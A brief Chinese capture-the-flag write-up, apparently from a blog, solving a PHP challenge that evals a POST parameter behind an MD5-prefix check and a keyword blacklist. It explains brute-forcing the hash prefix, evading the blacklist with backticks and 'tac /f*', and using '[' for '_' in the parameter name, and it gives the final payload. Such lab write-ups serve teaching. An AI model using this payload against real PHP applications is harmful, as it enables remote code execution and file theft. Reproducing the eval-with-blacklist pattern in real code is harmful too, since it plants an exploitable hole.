先上代码
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
这个代码比较简单,首先是关于password参数,只需要传入一个参数被md5加密后前六位为c4d038就够了,所以,用python写个工具撞库就行了,之后是e_v.a.l参数,它确定是在最后要执行的,因此传入的代码应该是一段php代码,但是,在这里发现/flag,system被过滤了,因此,这里需要一定的方法进行绕过,可以使用内敛绕过,这里需要知道地是,该代码过滤了cat命令,因此,我们需要用到tac命令,tac倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边。因此,这里可以构造payload为
password=114514&e_v.a.l=echo `tac /f*`;
然而,这里却依然得不到回显,因为这里地e_v.a.l中含有非法字符_,因此,这里需要把_改为[,最终payload为
password=114514&e[v.a.l=echo `tac /f*`;